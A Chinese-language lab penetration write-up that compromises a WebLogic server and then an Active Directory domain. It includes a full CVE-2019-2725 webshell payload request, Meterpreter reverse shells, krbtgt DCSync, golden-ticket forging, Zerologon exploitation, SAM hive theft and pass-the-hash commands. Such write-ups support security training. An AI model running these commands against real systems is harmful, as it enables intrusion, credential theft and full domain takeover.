# 环境搭建
前置操作
访问 192.168.147.80:7001/console 进行加载配置
至此环境搭好了
# 拿下边界服务器
第一步信息收集,nmap 开扫,发现存在 weblogic 服务
上 weblogicscan,发现漏洞 cve-2019-2725
利用 cve-2019-2725 进行 webshell 上传,上传后 webshell 路径为
http://192.168.147.80:7001/bea_wls_interna/webshell.jsp
值的注意的是,这里要用 POST 方式,且 HTTP 头中需要有 content-type: text/xml。否则会爆 500 错误
payload:
POST /_async/AsyncResponseService HTTP/1.1 | |
Host: 192.168.147.80:7001 | |
Content-Length: 3260 | |
Accept-Encoding: gzip, deflate | |
SOAPAction: | |
Accept: */* | |
User-Agent: Apache-HttpClient/4.1.1 (java 1.5) | |
Connection: keep-alive | |
content-type: text/xml | |
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing" xmlns:asy="http://www.bea.com/async/AsyncResponseService"><soapenv:Header><wsa:Action>xx</wsa:Action><wsa:RelatesTo>xx</wsa:RelatesTo><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.xmlDecoder"><object class="java.io.PrintWriter"><string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/webshell.jsp</string><void method="println"><string><![CDATA[ | |
复制Webshell到此处 | |
]]> | |
</string></void><void method="close"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body><asy:onAsyncDelivery/></soapenv:Body></soapenv:Envelope> |
上传哥斯拉 webshell,获取 webshell 后,联动 msf 使用了哥斯拉自带的 java 回弹 shell 发现没有 getsystem 等命令,从万能的百度中得出答案很可能是载荷问题,这里用的是哥斯拉自带的的 set payload java/meterpreter/reverse_tcp,为了避免出现更多的其他问题,这里新生成 windows/x64/meterpreter/reverse_tcp 的载荷,做个分离免杀,上传到目标机器,并通过哥斯拉的虚拟终端执行,成功获得回弹 shell。
# 域渗透
<font color=#999AAA> 这里使用了两种不同的方法来获取域控
# 通过伪造黄金票据获取域控
首先,需要明白伪造金票的前提:
- 域名称
- 域的 SID 值 #通过 whoami /user 去掉最后横线的数字剩下的就是 SID
- 域的 KRBTGT 账户 NTLM-HASH (只有在域控中,或者是域内 Client 中才能导出 krbtgt 用户的 hash)
- 伪造的用户名,可以是任意用户名
这里加载 kiwi 模块来读取 web 服务器中的账号密码(mimikatz 已更新为 kiwi)
load mimikatz #或者 use kiwi 也行,效果是一样的 |
# 弯路
(因为第一次使用 kiwi,看网上说要在 system 权限下才能用,结果后来发现,system 下有些模块没法用,就比如 dcsync 模块和 kiwi 调用 mimikatz 读取 kerbtgthash 的命令就没法用,而在 Administrator 权限下则能正常使用。当然,读取密码等命令就需要在 system 下才能用。而这里就是踩坑的记录,不想看可跳转至直路)
因为 kiwi 需要 system 权限,因此我直接尝试 getsystem,但是并没有成功。于是打算手动提权。
# 手动提权
因为 kiwi 需要 system 权限,因此我直接尝试 getsystem,但是并没有成功。于是打算手动提权。
将 session 放到后台,使用 local_exploit_suggester 查询可用的 exp
background | |
use local_exploit_suggester | |
show options | |
set session 4 | |
run |
从返回结果中发现有很多提权的漏洞能使用,这里用个最新的 cve-2019-1458,成功返回一个新的 shell 给我们,并且是 system,接着就是读密码了
use exploir/windows/local/cve_2019_1458_wizardopium | |
show options | |
set session 4 | |
set lport 5555#图有点问题,这里 4444 已经被占用了,因此要改成其他端口。当然不改也行,但是好像会顶掉前面的 msf shell。我这里就没改 | |
run |
# 加载 kiwi 模块读取密码明文
use kiwi | |
#使用 help kiwi 可以查看有什么命令 | |
creds_all |
成功获取域控密码。但这里主题是伪造票据,因此我们还不能结束。
# 读取 krbtgt 哈希
这里直接使用 kiwi_cmd 调用 mimikratz 抓 krbtgt 哈希出现问题,分析发现执行时,会把空格后的当作新命令,而不是参数。如图
百度一波,没找到原因(万能的百度倒下了)。打开小飞机,google 得出解决办法:使用转义符号 \ 转义双引号即可。
但又出现了新的问题,报出错误码 8439,只能继续 google,无果。后来知道这是因为 system 权限的原因。
只好上传 mikiratz 到目标机器上操作。(这里是通过 3389 操作的,使用命令 REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 来打开 3389 端口,然后使用前面获取到的密码来登录)
成功获取制作票据的所有条件
lsadump::dcsync /domain:hacker.com /user:krbtgt |
# 直路
我们的 msfshell 当前权限直接就是 Administrator
一条命令完事,成功获取所有前提
use kiwi | |
dcsync de1ay\\krbtgt#第一个 \ 是转义符号 |
# 伪造金票
总结我们获取的数据:
域 :de1ay.com
krbtgt hash :82dfc71b72a11ef37d663047bc2088fb
SID:S-1-5-21-2756371121-2868759905-3853650604
使用 kiwi 的金票伪造,在本地目录中可以找到票据。
# 生成票据
golden_ticket_create -d de1ay.com -k 82dfc71b72a11ef37d663047bc2088fb -s S-1-5-21-2756371121-2868759905-3853650604 -u Administrator -t //usr//mytool//888.ticket |
# 向需要提权的计算机导入票据
这里以 w7 做实验对象。先给 w7 上传一个 msf 马,然后连接。
kerberos_ticket_use /usr/mytool/888.ticket |
分别是导入前后的效果。成功访问,之前没权限访问的资源。
# 通过域内提权漏洞获取域控
上述操作的前提是受控计算机有 Administrator 权限,但现实中往往没那么顺利,比如域管如果没登录过这台机器,那我们上述操作就死在第一步了。于是回到最初,假设我们无法通过该机器获取域管账号及权限的前提来重新打一波。
这里从获取 webshell 及给 w2003server 上传 msf 马并获取 shell 开始。
前提:假设已经获取了 w2003 的权限并且开启了 3389,但是 w2003 无法获取域管账号及权限。
上传 nmap 到目标计算机进行内网扫描。
没发现有其他 web 或者数据库服务,只有 135、139、445 等端口,但又不想用 ms17-010 来操作。
突然想试试前阵子新出的漏洞 CVE-2020-1472。
同时上传 ew+frp 到目标机器上准备做内网穿透(内网穿透详情看之前写的 vulnstack1)
# CVE-2020-1472
原理:略
作用:可利用该漏洞将域控的计算机的机器账号密码置为控(!! 这里置空的不是用户账号),从而控制域控服务器
这里用到的 exp 有
1.https://github.com/dirkjanm/CVE-2020-1472 中的 cve-2020-1472-exploit.py(不知道是我操作问题还是还原密码脚本问题,死活还原不了,所以找了另一个大佬写的还原 exp 来用)
2.https://github.com/risksense/zerologon 中的 reinstall_original_pw.py(问题同上,置空一直失败)
3.impacket 工具包
# 复现过程
# 查看机器账号
从这里得知机器账号为 DC 也叫 netbios 名,加上 $ 就是机器名(主机名)。而 cve-2020-1472 置空的就是这个机器账号的密码
net view | |
#使用命令 net group "Domain Controllers" /domain 更好 | |
#通过 ping 域名就能得到域控的 ip |
# 使用攻击脚本置空密码
proxychains python3 /home/momo/桌面/cve/CVE-2020-1472-master/cve-2020-1472-exploit.py DC 10.10.10.10 |
# 使用空密码登录并导出域控中密码的 hash
这里是使用计算机机器帐户及其哈希进行身份验证然后从 NTDS.DIT 文件中远程 dump 域内所有密码哈希。
可见机器密码为空
这里 \ 是转义符;hash 值 31d6cfe0d16ae931b73c59d7e0c089c0 代表空
proxychains python3 secretsdump.py de1ay.com/DC\$@10.10.10.10 -no-pass |
# 利用域管账号的 hash 进行连接
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10 |
# 下载目标的 sam 文件为下一步恢复机器密码做准备
SAM 文件即账号密码数据库文件
(可能 sam 中的密码是在重启之后才会更新的?不然没法解释为什么还能找到原密码)
在 wmi shell 下执行下述命令,下载的 SAM 文件可在 impacket 的目录下的 examples 中找到
reg save HKLM\SYSTEM system.save | |
reg save HKLM\SAM sam.save | |
reg save HKLM\SECURITY security.save | |
get system.save | |
get sam.save | |
get security.save | |
del /f system.save | |
del /f sam.save | |
del /f security.save | |
exit |
# 破解 sam 文件查看过去的机器密码
proxychains python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL |
# 恢复原密码
使用还原 exp 来还原密码
proxychains python3 /home/momo/桌面/cve/zerologon-master/reinstall_original_pw.py DC 10.10.10.10 76c7e90351db186f6bb846e57b03652f |
至此,利用结束。此后我们就可以利用前面的域管 hash 来操控域控了。
proxychains python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:448d8b9b12de85540ef702d74ec85ef7 de1ay.com/Administrator@10.10.10.10